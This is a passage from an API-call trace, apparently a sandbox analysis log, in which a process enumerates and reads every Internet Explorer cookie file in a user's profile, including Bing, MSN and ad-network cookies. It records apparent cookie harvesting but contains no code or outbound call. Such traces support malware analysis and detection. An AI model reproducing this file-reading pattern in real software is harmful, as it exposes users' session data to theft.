cFileName="aetadzjz@adserving.ancoraplatform[2].txt", cAlternateFileName="AE3EC5~1.TXT")) returned 1 [0163.287] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@adserving.ancoraplatform[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adserving.ancoraplatform[2].txt")) returned 0x2020 [0163.288] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@adserving.ancoraplatform[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adserving.ancoraplatform[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.288] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0xfb [0163.288] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf3558, nNumberOfBytesToRead=0xfb, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf3558*, lpNumberOfBytesRead=0x1e7df6cc*=0xfb, lpOverlapped=0x0) returned 1 [0163.289] CloseHandle (hObject=0xf4) returned 1 [0163.289] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1b25c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1b98020, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1b98020, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@adsrvr[1].txt", cAlternateFileName="AE235F~1.TXT")) returned 1 [0163.289] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@adsrvr[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adsrvr[1].txt")) returned 0x2020 [0163.290] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@adsrvr[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adsrvr[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.290] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0xf3 [0163.290] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf3558, nNumberOfBytesToRead=0xf3, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf3558*, lpNumberOfBytesRead=0x1e7df6cc*=0xf3, lpOverlapped=0x0) returned 1 [0163.291] CloseHandle (hObject=0xf4) returned 1 [0163.292] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb9a0e80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb9a0e80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb9a0e80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@adtech[2].txt", cAlternateFileName="AEF361~1.TXT")) returned 1 [0163.292] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@adtech[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adtech[2].txt")) returned 0x2020 [0163.293] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@adtech[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adtech[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.293] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x66 [0163.293] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7e1ee8, nNumberOfBytesToRead=0x66, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1e7e1ee8*, lpNumberOfBytesRead=0x1e7df6cc*=0x66, lpOverlapped=0x0) returned 1 [0163.294] CloseHandle (hObject=0xf4) returned 1 [0163.294] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc83538a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0x1e095400, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1e095400, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x118, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@advertising[1].txt", cAlternateFileName="AE1C17~1.TXT")) returned 1 [0163.295] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@advertising[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@advertising[1].txt")) returned 0x2020 [0163.296] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@advertising[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@advertising[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.296] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x118 [0163.297] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf36ac, nNumberOfBytesToRead=0x118, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf36ac*, lpNumberOfBytesRead=0x1e7df6cc*=0x118, lpOverlapped=0x0) returned 1 [0163.298] CloseHandle (hObject=0xf4) returned 1 [0163.298] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1401a00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1401a00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1401a00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@angsrvr[2].txt", cAlternateFileName="AE10A0~1.TXT")) returned 1 [0163.298] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@angsrvr[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@angsrvr[2].txt")) returned 0x2020 [0163.300] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@angsrvr[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@angsrvr[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.300] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0xde [0163.300] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf36ac, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf36ac*, lpNumberOfBytesRead=0x1e7df6cc*=0xde, lpOverlapped=0x0) returned 1 [0163.301] CloseHandle (hObject=0xf4) returned 1 [0163.302] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd1227c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd1227c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd1227c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@api.bing[2].txt", cAlternateFileName="AEFA13~1.TXT")) returned 1 [0163.302] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@api.bing[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@api.bing[2].txt")) returned 0x2020 [0163.303] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@api.bing[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@api.bing[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.303] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0xdf [0163.303] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf3558, nNumberOfBytesToRead=0xdf, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf3558*, lpNumberOfBytesRead=0x1e7df6cc*=0xdf, lpOverlapped=0x0) returned 1 [0163.304] CloseHandle (hObject=0xf4) returned 1 [0163.304] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8757dc0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcba5f560, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcba5f560, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x203, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@at.atwola[2].txt", cAlternateFileName="AEC741~1.TXT")) returned 1 [0163.304] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@at.atwola[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@at.atwola[2].txt")) returned 0x2020 [0163.305] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@at.atwola[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@at.atwola[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.305] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x203 [0163.305] ReadFile (in: hFile=0xf4, lpBuffer=0x1f024dc4, nNumberOfBytesToRead=0x203, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1f024dc4*, lpNumberOfBytesRead=0x1e7df6cc*=0x203, lpOverlapped=0x0) returned 1 [0163.306] CloseHandle (hObject=0xf4) returned 1 [0163.307] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0a09de0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0a09de0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0a09de0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@bidswitch[1].txt", cAlternateFileName="AE9589~1.TXT")) returned 1 [0163.307] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@bidswitch[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@bidswitch[1].txt")) returned 0x2020 [0163.307] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@bidswitch[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@bidswitch[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.307] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x121 [0163.307] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf36ac, nNumberOfBytesToRead=0x121, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf36ac*, lpNumberOfBytesRead=0x1e7df6cc*=0x121, lpOverlapped=0x0) returned 1 [0163.308] CloseHandle (hObject=0xf4) returned 1 [0163.309] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbcc0b60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xccfcbb60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xccfcbb60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@bing[1].txt", cAlternateFileName="AE445A~1.TXT")) returned 1 [0163.309] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@bing[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@bing[1].txt")) returned 0x2020 [0163.310] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@bing[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@bing[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.310] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x108 [0163.314] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf36ac, nNumberOfBytesToRead=0x108, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf36ac*, lpNumberOfBytesRead=0x1e7df6cc*=0x108, lpOverlapped=0x0) returned 1 [0163.315] CloseHandle (hObject=0xf4) returned 1 [0163.315] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1023640, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1936a20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd195cb80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@bluekai[1].txt", cAlternateFileName="AE5A80~1.TXT")) returned 1 [0163.315] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@bluekai[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@bluekai[1].txt")) returned 0x2020 [0163.316] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@bluekai[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@bluekai[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.316] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0xa2 [0163.316] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf3558, nNumberOfBytesToRead=0xa2, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf3558*, lpNumberOfBytesRead=0x1e7df6cc*=0xa2, lpOverlapped=0x0) returned 1 [0163.318] CloseHandle (hObject=0xf4) returned 1 [0163.318] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfcaed0a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xfcaed0a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xfcaed0a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@bs.serving-sys[1].txt", cAlternateFileName="AE4580~1.TXT")) returned 1 [0163.318] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@bs.serving-sys[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@bs.serving-sys[1].txt")) returned 0x2020 [0163.318] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@bs.serving-sys[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@bs.serving-sys[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.318] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x5d [0163.318] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf2830, nNumberOfBytesToRead=0x5d, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf2830*, lpNumberOfBytesRead=0x1e7df6cc*=0x5d, lpOverlapped=0x0) returned 1 [0163.319] CloseHandle (hObject=0xf4) returned 1 [0163.320] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1afa2fa0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1afa2fa0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1afa2fa0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@bs.serving-sys[3].txt", cAlternateFileName="AE9CB5~1.TXT")) returned 1 [0163.320] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@bs.serving-sys[3].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@bs.serving-sys[3].txt")) returned 0x2020 [0163.321] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@bs.serving-sys[3].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@bs.serving-sys[3].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.321] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x6f [0163.321] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7e1ee8, nNumberOfBytesToRead=0x6f, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1e7e1ee8*, lpNumberOfBytesRead=0x1e7df6cc*=0x6f, lpOverlapped=0x0) returned 1 [0163.322] CloseHandle (hObject=0xf4) returned 1 [0163.322] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbcc0b60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd16d5420, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd16d5420, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x230, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@c.bing[1].txt", cAlternateFileName="AETADZ~2.TXT")) returned 1 [0163.323] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@c.bing[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@c.bing[1].txt")) returned 0x2020 [0163.323] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@c.bing[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@c.bing[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.323] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x230 [0163.323] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7e3dbc, nNumberOfBytesToRead=0x230, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1e7e3dbc*, lpNumberOfBytesRead=0x1e7df6cc*=0x230, lpOverlapped=0x0) returned 1 [0163.324] CloseHandle (hObject=0xf4) returned 1 [0163.324] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbf6e420, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbf6e420, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbf6e420, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x82, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@c.msn[2].txt", cAlternateFileName="AETADZ~3.TXT")) returned 1 [0163.324] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@c.msn[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@c.msn[2].txt")) returned 0x2020 [0163.325] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@c.msn[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@c.msn[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.325] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x82 [0163.326] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7e2f0c, nNumberOfBytesToRead=0x82, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1e7e2f0c*, lpNumberOfBytesRead=0x1e7df6cc*=0x82, lpOverlapped=0x0) returned 1 [0163.327] CloseHandle (hObject=0xf4) returned 1 [0163.327] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1747840, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1747840, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1747840, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@c1.microsoft[2].txt", cAlternateFileName="AE0D21~1.TXT")) returned 1 [0163.327] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@c1.microsoft[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@c1.microsoft[2].txt")) returned 0x2020 [0163.328] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@c1.microsoft[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@c1.microsoft[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.328] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x90 [0163.328] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7e2f0c, nNumberOfBytesToRead=0x90, lpNumberOfBytesRead=0x1e7df6cc, 